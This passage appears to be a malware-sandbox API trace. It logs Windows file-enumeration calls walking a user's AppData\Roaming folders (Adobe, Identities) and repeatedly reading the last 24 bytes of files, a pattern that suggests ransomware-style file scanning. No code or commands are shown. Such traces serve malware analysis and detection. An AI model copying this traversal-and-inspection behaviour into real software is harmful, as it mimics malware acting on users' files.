ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.559] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.559] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.559] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0089.559] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0089.559] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0089.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0089.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x6aee70 [0089.559] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.559] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.559] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.560] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.560] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.560] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0089.560] lstrcmpW (lpString1="10.0", lpString2=".") returned 1 [0089.560] lstrcmpW (lpString1="10.0", lpString2="..") returned 1 [0089.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5e6250 [0089.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xbe) returned 0x6acdb0 [0089.560] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.561] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.561] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.562] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.562] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.562] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1 [0089.562] lstrcmpW (lpString1="Collab", lpString2=".") returned 1 [0089.562] lstrcmpW (lpString1="Collab", lpString2="..") returned 1 [0089.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c230 [0089.562] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.562] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.562] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.563] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.563] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.563] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.563] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0089.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.564] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.564] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.564] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.564] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0089.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c2c8 [0089.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd6) returned 0x601838 [0089.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.565] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.565] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0089.565] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0089.565] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1 [0089.565] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0089.565] CloseHandle (hObject=0x26c) returned 1 [0089.565] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.565] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.565] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.566] SetFilePointerEx (in: hFile=0x26c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.566] ReadFile (in: hFile=0x26c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0089.566] CloseHandle (hObject=0x26c) returned 1 [0089.567] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.567] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.569] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.569] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0089.569] CloseHandle (hObject=0x1fc) returned 1 [0089.570] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.570] ReadFile (in: hFile=0x1fc, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0089.570] CloseHandle (hObject=0x1fc) returned 1 [0089.570] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0089.572] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.573] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.574] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.575] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.575] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.576] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.576] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.577] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.577] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.578] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\D5NTRC6R\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0089.579] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.580] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Flash Player\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.581] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Headlights\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.581] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.581] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.582] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\Dictionaries\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Linguistics\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.583] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.583] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\LogTransport2\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.584] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.585] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.585] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.586] CloseHandle (hObject=0x260) returned 1 [0089.586] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.586] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.587] CloseHandle (hObject=0x260) returned 1 [0089.587] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.587] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.588] CloseHandle (hObject=0x260) returned 1 [0089.588] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.588] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.589] CloseHandle (hObject=0x260) returned 1 [0089.589] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.589] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.590] CloseHandle (hObject=0x260) returned 1 [0089.590] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.591] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.637] CloseHandle (hObject=0x260) returned 1 [0089.637] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.637] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.650] CloseHandle (hObject=0x260) returned 1 [0089.651] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.651] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.651] CloseHandle (hObject=0x260) returned 1 [0089.652] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.652] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.652] CloseHandle (hObject=0x260) returned 1 [0089.653] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.653] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.653] CloseHandle (hObject=0x260) returned 1 [0089.654] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.654] ReadFile (in: hFile=0x260, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0089.654] CloseHandle (hObject=0x260) returned 1 [0089.655] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0089.655] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.655] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.655] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0089.656] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0089.656] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Identities\\*", 